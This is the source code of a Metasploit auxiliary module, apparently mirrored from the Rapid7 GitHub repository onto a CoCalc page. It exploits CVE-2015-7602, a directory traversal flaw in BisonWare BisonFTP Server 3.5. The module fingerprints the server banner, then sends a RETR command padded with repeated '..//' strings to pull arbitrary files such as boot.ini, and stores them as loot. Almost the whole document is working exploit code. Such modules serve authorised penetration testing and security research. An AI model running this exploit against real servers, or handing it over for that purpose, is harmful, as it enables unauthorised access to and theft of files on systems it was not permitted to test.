CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Ftp
8
include Msf::Auxiliary::Report
9
include Msf::Auxiliary::Scanner
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure',
14
'Description' => %q{
15
This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server
16
version 3.5. This vulnerability allows an attacker to download arbitrary files from the server
17
by crafting a RETR command including file system traversal strings such as '..//.'
18
},
19
'Platform' => 'win',
20
'Author' =>
21
[
22
'Jay Turla', # @shipcod3, msf and initial discovery
23
'James Fitts',
24
'Brad Wolfe <brad.wolfe[at]gmail.com>'
25
],
26
'License' => MSF_LICENSE,
27
'References' =>
28
[
29
[ 'EDB', '38341'],
30
[ 'CVE', '2015-7602']
31
],
32
'DisclosureDate' => '2015-09-28'
33
))
34
35
register_options(
36
[
37
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
38
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])
39
])
40
41
end
42
43
def check_host(ip)
44
begin
45
connect
46
if /BisonWare BisonFTP server product V3\.5/i === banner
47
return Exploit::CheckCode::Appears
48
end
49
ensure
50
disconnect
51
end
52
53
Exploit::CheckCode::Safe
54
end
55
56
def run_host(target_host)
57
begin
58
connect_login
59
sock = data_connect
60
61
# additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb
62
# and #7582
63
if sock.nil?
64
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'
65
print_status(error_msg)
66
elog(error_msg)
67
else
68
file_path = datastore['PATH']
69
file = ::File.basename(file_path)
70
71
# make RETR request and store server response message...
72
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
73
res = send_cmd( ["RETR", retr_cmd])
74
75
# read the file data from the socket that we opened
76
# dont assume theres still a sock to read from. Per #7582
77
if sock.nil?
78
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'
79
print_status(error_msg)
80
elog(error_msg)
81
return
82
else
83
# read the file data from the socket that we opened
84
response_data = sock.read(1024)
85
end
86
87
unless response_data
88
print_error("#{file} not found")
89
return
90
end
91
92
if response_data.length == 0
93
print_status("File (#{file_path})from #{peer} is empty...")
94
return
95
end
96
97
# store file data to loot
98
loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)
99
vprint_status("Data returned:\n")
100
vprint_line(response_data)
101
print_good("Stored #{file_path} to #{loot_file}")
102
end
103
104
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
105
vprint_error(e.message)
106
elog(e)
107
rescue ::Timeout::Error, ::Errno::EPIPE => e
108
vprint_error(e.message)
109
elog(e)
110
ensure
111
data_disconnect
112
disconnect
113
end
114
end
115
end
116
117